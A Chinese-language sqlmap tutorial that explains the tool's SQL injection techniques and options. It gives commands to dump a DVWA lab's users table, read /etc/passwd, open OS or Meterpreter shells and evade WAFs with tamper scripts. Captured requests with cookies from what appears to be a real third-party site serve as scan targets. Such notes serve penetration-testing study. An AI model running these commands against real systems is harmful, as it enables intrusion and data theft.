Sqlmap
開源,python編寫
支持5種SQL注入檢測技術:
1、基於布爾的注入檢測
2、基於時間的注入檢測
3、基於錯誤的注入檢測
4、基於UNION聯合查詢的檢測
5、基於堆疊查詢的檢測
支持的數據庫管理系統(可能不支持mongodb):
mysql、oracle、postgresql、sql_server、access、DB2等
其他特性:
數據庫直接連接(相當於數據庫的一個client):-d
與burpsuite、google結合使用,支持正則表達式限定測試目標
注入檢測包含Get、post、cookie、referer、user-agent等部分內容
限速:最大並發、延遲發送
支持Basic、Digest、NTLM、CA身份認證
探測數據庫版本、探測用戶、提權、hash枚舉、字典爆破、暴力破解表列名
文件上傳下載、用戶定義函數(UDF)、啟動並執行存儲過程、操作系統命令執行、訪問windows注冊表
與問w3af、metasploit集成結合使用,基於數據庫服務進程提權和上傳執行后門
強調:sqlmap由於沒有爬蟲機制,不會像其他web掃描器一樣,你給它一個url它就開始自己邊爬邊掃了。而是你提交給它的url中有幾個變量就掃描幾個變量,不會由這個url延伸至其他url。如果想對整站進行掃描可以配合burp suite日志使用,即瀏覽器掛代理burp suite,然后用瀏覽器將目標站點能點的都點一遍,最后用sqlmap去讀取burp suite的日志進行掃描。
基本用法:
1、檢測get方法中的變量:
sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" ====>此時sqlmap將對“id”和“Submit”這兩個變量進行檢測 ##############上面執行過一次注入檢測且發現注入點后,再執行下面的命令時就不會再次進行注入檢測了,而是直接利用注入點################ sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --tables ===>查詢目標系統數據庫內有什么表 sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --columns -D dvwa -T users ====>查詢“dvwa”這個數據庫中“users”這個表有什么列 sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users -C user --dump ===>查詢“dvwa”這個數據庫中“users”這個表的“user”列的內容
2、檢測POST方法中的變量(如果是POST方式提交的變量則用參數“-r”和“-l”最為方便!):
sqlmap -r packet.txt
packet.txt內容為:
POST /search.aspx HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/ Content-Type: application/x-www-form-urlencoded Content-Length: 17 Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 c=1&keyword=1dafs
sqlmap -l request.log --batch
request.log內容為:
====================================================== H11:04:02 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== POST /search.aspx HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs Content-Type: application/x-www-form-urlencoded Content-Length: 15 Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 c=1&keyword=111 ====================================================== ====================================================== H11:04:03 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== GET /info/list.html?keywords=111 HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 ====================================================== ====================================================== H11:04:35 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== GET /job/ HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 ====================================================== ====================================================== H11:04:53 https://www.lingchuanw.com:443 [112.124.47.239] ====================================================== GET /job/ HTTP/1.1 Host: www.lingchuanw.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959 Connection: close Upgrade-Insecure-Requests: 1 ======================================================
參數說明:
--batch 全局使用默認選項,不與人進行交互,適合全自動工作
target類:
-d 數據庫直接連接(相當於數據庫的一個client),舉例:sqlmap -d "mysql://user:password@127.0.0.1:3306/t1" --users
-u 后跟待檢測url,待檢測url最好用""括起來(適用於表單內容用GET提交時)
--force-sl 如果是https則需加該參數
-p 指定檢查哪個變量
掃描舉例:sqlmap -u "http://192.168.209.133/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username
-r 加載http請求信息(當表單內容用POST提交時需將該數據包截獲下來存成文本文件,再用-r參數去讀取)
-l 加載http請求信息(當表單內容用POST提交時用Burp保存的log作為http請求信息),參數后跟log文件路徑 ===>利用這個特點可以瀏覽器掛burp代理,將想要注入測試的網頁都點一遍,然后將日志丟給sqlmap讓它去將剛才鼠標點到的網頁都掃一遍
-f 獲取目標數據庫指紋信息
-m 后跟待檢測url組成的文件
-g 后跟google搜索語句,舉例:sqlmap -g "inurl:\".php?id=1\""
-c 加載配置文件
request類(建議每個參數的數據都用""括起來,e.g:--method='GET'):
--method 強制使用某種請求方法,e.g:--method=GET
--data 使用POST方法請求並構造http包內數據,e.g: --data="我是POST的數據部分"
--param-del web程序默認情況下分隔不同變量用的是'&',假如遇到一些奇葩web程序用其他符號來作為分隔符就需要用這個參數告訴sqlmap哪個是變量分隔符, e.g: sqlmap -u "http://1.1.1.1/muti-translate.gif?hid=abc:(這里的分隔符一般都是&)action=bcd" --param-del=":"
--cookie 攜帶cookie掃描(比較牛逼的是攜帶cookie掃描時如果cookie有更新不需手工指定,sqlmap會自動將cookie更換為新的cookie)
--drop-set-cookie 關閉cookie自動更新功能
--user-agent 用來指定掃描時候攜帶的user-agent,如果沒有指定則使用默認(sqlmap/1.0-dev-xxx(http://sqlmap.org))
--random-agent 使用一個隨機的user-agent(不是隨機字符串,是從user-agent字典(/usr/share/sqlmap/txt/user-agents.txt)中隨機抽取一個)
--host 用來指定掃描時攜帶的host
--referrer 用來指定掃描時攜帶的referrer
--headers 構建多個特殊的http頭部變量,e.g:Accept-Language: fr\nETag: 123 ===>注意:每個頭部變量以\n分隔
--auth-type 選擇web認證類型,支持Basic, Digest, NTLM or PKI
--auth-cred 構造用戶名密碼,e.g:--auth-cred=user:password
--proxy 指定掃描時使用的代理,e.g:--proxy="http://127.0.0.1:8080"
--proxy-cred 指定代理服務器的用戶名密碼,e.g:--proxy-cred="user:password"
--ignore-proxy 忽略系統級代理,通常用於掃描本地網絡目標
--delay 每次http(s)請求之間延遲時間,浮點數,單位為秒,默認無延遲,e.g:--delay=5.3
--timeout 請求超時時間,浮點數,默認為30秒
--retries http(s)連接超時重試次數,默認3次
--randomize 每次提交http請求時都將指定變量變為一個隨機值(此隨機值與原來的值格式類型相同),e.g: sqlmap -u "http://1.1.1.1/a.php?user=admin&id=1" -p user --randomize=id(注入測試user的同時每次id的值也不一樣)
--safe-freq 指定發送多少次探測請求包后發送一次正常包(發送大量失敗請求可能會觸發目標的主動防御機制),e.g:--safe-freq=10
--skip-urlencode 不對url進行編碼(默認GET方法會對傳輸內容進行編碼,某些WEB服務器不遵守RFC標准編碼,使用原始字符提交數據)
--eval 每次請求前執行指定的python代碼對url中的變量進行計算(即url中存在某種依賴時(因果、時間等)可以寫一段python來計算這個依賴),e.g: sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()" ===>每次請求前通過該python語句對id進行hash后賦值給url中的hash
Injection類:
-p 指定要注入哪個變量,只用-p參數后--level失效(--level不同等級注入測試的變量范圍不同,這里用了-p后則只注入手工指定的這一個變量),e.g: -p "id,user,passwd"
--skip 排除指定的掃描參數,e.g: --level=5 --skip="user-agent,id" ===>掃描level5這個范圍內的變量,除去user-agent,id
--dbms 指定目標是哪種數據庫(如果不指定默認會先掃描目標是哪種數據庫,指定后可以提高掃描效率),e.g: --dbms=MySQL
--dbms-cred 如果知道目標數據庫用戶名密碼可以用這個參數攜帶用戶名密碼去查詢,這樣查詢的結果更全面(起初覺得都知道用戶名密碼了還用sqlmap干嘛,仔細一想:對方數據庫可能只允許目標web服務器連接,所以這個參數就有必要了)
--os 指定目標底層是哪種操作系統(不同操作系統可能會用到不同的探測語句),e.g: --os=linux
--tamper 指定某個混淆腳本來混淆payload,以躲過WAF、IPS的查殺,e.g: --tamper="space2plus.py,uppercase.py" ===>混淆腳本路徑:/usr/share/sqlmap/tamper/
Detection類:
--level 檢查的深度(一共5個等級,1級最低) (當level>=2時才會嘗試注入cookie的變量,level>=3時才會嘗試注入user-agent的變量)
--risk 檢查時造成的破壞程度(一共3個等級,1級最低)
Enumeration類(找到注入點后要榨取數據庫內的哪些信息):
--current-user 查詢現在這個web程序是用哪個賬戶登錄的數據庫
--current-db 查詢現在這個web程序所用的是數據庫系統中的哪個數據庫
--banner 獲取目標數據庫banner信息
--user 查詢目標數據庫系統的的數據庫賬號有哪些
--dbs 查詢目標數據庫系統擁有哪些數據庫
--schema 查詢目標數據庫系統的infomation_schema信息
--privileges 查詢目標數據庫系統內所有賬戶對應的權限
-D 選中某一個數據庫(只顯示指定的數據庫)
-T 選中某一個表
-C 選中某一個列
--columns 查詢指定數據庫中指定表中有哪些列,e.g: -D dvwa -T users --columns
--count 對選中的內容進行數量統計
--dump 查詢指定對象中的具體數據,e.g: 數據庫中指定表的具體內容,-D dvwa -T users --dump
--start 只查詢表中的一部分數據,后跟起始行數
--stop 只查詢表中的一部分數據,后跟末尾行數
--exclude-sysdbs 不讓系統庫顯示(減少干擾)
--sql-query 后跟自定義的SQL語句,e.g: --sql-query="select * from users" ===> 經測試僅可以跟select語句,跟create語句不生效
Brute force類(當數據庫系統沒有information_schema庫或者當前賬號無權讀取information_schema庫時,數據庫的表名、列名就需要暴力破解了):
--common-tables 暴力破解當前數據庫所包含的表名稱
--common-columns 暴力破解指定表的列,e.g: -T users --common-columns
File system access類(訪問有SQL注入目標的操作系統文件):
--file-read 下載有SQL注入漏洞的操作系統文件,e.g: --file-read="/etc/passwd"
--file-write 向有SQL注入漏洞的操作系統上傳文件
--file-dest 規定上傳路徑,e.g: --file-write="a.txt" --file-dest="/tmp/a.txt"
Operating system access類(對目標操作系統進行操作):
--os-cmd 執行系統命令,e.g: --os-cmd="pwd"
--os-shell 返回一個shell
--sql-shell 返回一個sql的shell
--os-pwn 返回一個Meterpreter or VNC的shell
General類:
--scope 利用正則表達式刪選待掃描的目標url,e.g: sqlmap -l burp.log --socpe="正則表達式" ===>這樣sqlmap就只會掃描burp.log文件中匹配到正則的url了
-s 修改掃描會話文件保存路徑(每掃描過一個目標都會在本地生成一個文件來保存結果,下次掃描該目標時就直接讀取這個結果,而不會重新掃描,如果想要重新掃描則需刪除這個文件)
-t 修改記錄流量文件保存位置
--charset 強制字符編碼
--crawl 從起始位置爬網的深度,e.g: --crawl=3
--fresh-queries 忽略存在本地的session信息,對已掃描過的目標重新發起掃描(如果不加這個參數去掃描曾經掃描過的對象,其實是讀取的本地儲存的上次掃描結果)
--flush-session 清空本地儲存的session后再掃描
--force-ssl 使用https訪問
--check-waf 檢測WAF/IPS
--identify-waf 徹底的WAF/IPS檢測
--hpp 通過"HTTP parameter pollution"漏洞繞過WAF/IPS,尤其對windows平台有效
Optimization類(優化):
--predict-output 根據不同的檢測方法,對比返回值和字典里的內容,不斷縮小檢測范圍(匹配到其中一個后同類型中其他的就不再檢測了。默認是所有種類都會跑一遍),提高效率。與--threads參數不兼容
--keep-alive 使用http長連接(有些WAF可能會對頻繁的三次握手進行攔截,此時就可使用長連接)。與--proxy參數不兼容
--null-connection 只獲取相應頁面的大小值,而非頁面具體內容。通常用於盲注判斷 真/假 ,降低網絡帶寬消耗。與--text-only參數不兼容
-o 同時開啟前三個性能參數(除--threads參數)
--threads 最大並發線程,默認值為1,建議不超過10。與--predict-output參數不兼容
Miscellaneous(優化):
--mobile 模擬手機發起請求
--wizard 進行向導模式